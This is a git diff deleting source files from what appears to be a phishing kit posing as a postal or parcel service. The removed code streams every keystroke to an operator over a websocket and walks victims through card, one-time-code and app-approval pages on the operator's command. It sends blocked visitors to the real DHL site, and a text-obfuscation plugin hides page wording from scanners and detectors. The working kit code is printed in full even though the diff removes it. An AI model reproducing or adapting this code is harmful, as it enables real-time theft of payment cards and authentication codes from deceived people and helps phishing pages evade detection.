index 6aa82c2..0000000
--- a/a3_lv_pasts_post/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.dhl.com/ch-de/home.html";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/mcdkjj/header.html");
- footerHtml.value = await loadHtml("/mcdkjj/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone1");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/t_Ticket_temp1/src/components/HelloWorld.vue b/t_Ticket_temp1/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/t_Ticket_temp1/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/t_Ticket_temp1/src/components/TheWelcome.vue b/t_Ticket_temp1/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/t_Ticket_temp1/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/t_Ticket_temp1/src/components/WelcomeItem.vue b/t_Ticket_temp1/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/t_Ticket_temp1/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/t_Ticket_temp1/src/main.ts b/t_Ticket_temp1/src/main.ts
index f4f3682..9f2935b 100644
--- a/t_Ticket_temp1/src/main.ts
+++ b/t_Ticket_temp1/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -25,6 +24,5 @@ app.use(i18n);
app.use(createPinia());
app.use(router);
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/t_Ticket_temp1/src/mix/textObfuscator.ts b/t_Ticket_temp1/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/t_Ticket_temp1/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/t_Ticket_temp1/src/utils/common.ts.backup b/t_Ticket_temp1/src/utils/common.ts.backup
deleted file mode 100644
index 8f55f26..0000000
--- a/t_Ticket_temp1/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
